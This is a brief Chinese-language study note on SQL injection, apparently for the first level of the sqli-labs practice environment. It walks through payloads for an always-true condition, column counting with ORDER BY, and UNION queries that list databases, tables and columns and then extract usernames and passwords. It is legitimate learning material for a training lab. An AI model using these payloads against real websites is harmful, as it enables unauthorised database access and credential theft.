SQLi学习

Less-1

一般注入

/?id=1'or 1=1--+ //--+用来注释掉后一个'
/?id=1'or 1=1%23(#) //由于是输入url中所以用%23

select ** where id='1'or 1=1--+(%23)' limit 0,1 ;

order by

/?id=1' order by 4--+; //可以查询是否有第四列

select ** where id='1' order by 4 --+' limit 0,1;

union

1.爆破数据库

/id=-1'union select 1,group_concat(schema_name),2 from information_schema.schemata--+

select * from users where id='-1' union select 1,group_concat(schema_name),2 from information_schema.schemata--+'limit 0,1;

通过union，连接两个select语句，可以将数据库爆破。

爆破数据库的句子 select 1,group_concat(schema_name) from information_schema.schemata–+ （要保证爆破数据库的列数和第一个select句子列数一样）

2.爆破数据表

/?id=-1' union select 1,group_concat(table_name),2 from  information_schema.tables where table_schema='security'--+

select * from users where id='-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security' --+' limit 0,1;

3.爆破列

/?id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name ='emails' --+

select * from users where id='-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='emails' --+' limit 0,1;

4.爆破数据

/?id=-1' union select 1,username,password from users where id=3--+ 

select * from users where id='-1' union select 1,username,password from users where id=3--+' limit 0,1